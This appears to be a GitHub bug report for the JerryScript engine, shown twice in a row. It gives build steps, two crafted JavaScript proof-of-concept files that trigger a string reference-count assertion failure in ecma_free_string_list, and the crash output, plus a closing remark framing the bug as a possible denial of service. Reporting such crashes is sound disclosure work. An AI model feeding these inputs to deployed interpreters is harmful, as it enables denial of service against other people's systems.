###### JerryScript revision
cefd391772529c8a9531d7b3c244d78d38be47c6

###### Build platform
Ubuntu 22.04.3

###### Build steps
```sh
python ./tools/build.py --builddir=xxx --debug --clean --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --stack-limit=20
```

###### Test case
```sh
//poc1.js
class s { constructor ( ) { } [ { [idx1] : { [{ [idx1] : { [idx2] : {}}} = [5.7]] : {}}} = [5.7] ] = class { } } 
new s ( ) ; 
```
```sh
//poc2.js
const obj = { a : (o) = 1 };
var a = { a : (o) = 1 } = obj;

(class C2 { ["foo"] = 5; ["foo"] = {} + {} })((new (class o { ["foo"] = 5; [{ a : (o) = 1 } = obj] = {} + {} })).foo === 5);
print(o === 1);
```

###### Execution steps
```sh
./xxx/bin/jerry poc.js
```

###### Output
```sh
//poc1.js
Unhandled exception: ReferenceError: idx1 is not defined

ICE: Assertion 'ECMA_STRING_IS_REF_EQUALS_TO_ONE (string_p)' failed at /home/qbtly/Desktop/target/jerryscript/jerry-core/ecma/base/ecma-literal-storage.c(ecma_free_string_list):75.
Error: JERRY_FATAL_FAILED_ASSERTION
```
```sh
//poc2.js
Unhandled exception: ReferenceError: Variables declared by let/const must be initial

ICE: Assertion 'ECMA_STRING_IS_REF_EQUALS_TO_ONE (string_p)' failed at /home/qbtly/Desktop/target/jerryscript/jerry-core/ecma/base/ecma-literal-storage.c(ecma_free_string_list):75.
Error: JERRY_FATAL_FAILED_ASSERTION
```
Assertion ECMA_STRING_IS_REF_EQUALS_TO_ONE (string_p) in ecma_free_string_list
This is a GitHub Issue
repo:jerryscript
owner:jerryscript-project
Title : Assertion ECMA_STRING_IS_REF_EQUALS_TO_ONE (string_p) in ecma_free_string_list
Issue date:

--- start body ---
###### JerryScript revision
cefd391772529c8a9531d7b3c244d78d38be47c6

###### Build platform
Ubuntu 22.04.3

###### Build steps
```sh
python ./tools/build.py --builddir=xxx --debug --clean --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --stack-limit=20
```

###### Test case
```sh
//poc1.js
class s { constructor ( ) { } [ { [idx1] : { [{ [idx1] : { [idx2] : {}}} = [5.7]] : {}}} = [5.7] ] = class { } } 
new s ( ) ; 
```
```sh
//poc2.js
const obj = { a : (o) = 1 };
var a = { a : (o) = 1 } = obj;

(class C2 { ["foo"] = 5; ["foo"] = {} + {} })((new (class o { ["foo"] = 5; [{ a : (o) = 1 } = obj] = {} + {} })).foo === 5);
print(o === 1);
```

###### Execution steps
```sh
./xxx/bin/jerry poc.js
```

###### Output
```sh
//poc1.js
Unhandled exception: ReferenceError: idx1 is not defined

ICE: Assertion 'ECMA_STRING_IS_REF_EQUALS_TO_ONE (string_p)' failed at /home/qbtly/Desktop/target/jerryscript/jerry-core/ecma/base/ecma-literal-storage.c(ecma_free_string_list):75.
Error: JERRY_FATAL_FAILED_ASSERTION
```
```sh
//poc2.js
Unhandled exception: ReferenceError: Variables declared by let/const must be initial

ICE: Assertion 'ECMA_STRING_IS_REF_EQUALS_TO_ONE (string_p)' failed at /home/qbtly/Desktop/target/jerryscript/jerry-core/ecma/base/ecma-literal-storage.c(ecma_free_string_list):75.
Error: JERRY_FATAL_FAILED_ASSERTION
```
--- end body ---

An assertion failure in JerryScript related to string reference counting can lead to a potential Denial of Service (DoS) when executing specially crafted JavaScript code. The assertion 'ECMA_STRING_IS_REF_EQUALS_TO_ONE' indicates that the internal state of the string reference management is compromised, which could be exploited by attackers to crash the interpreter.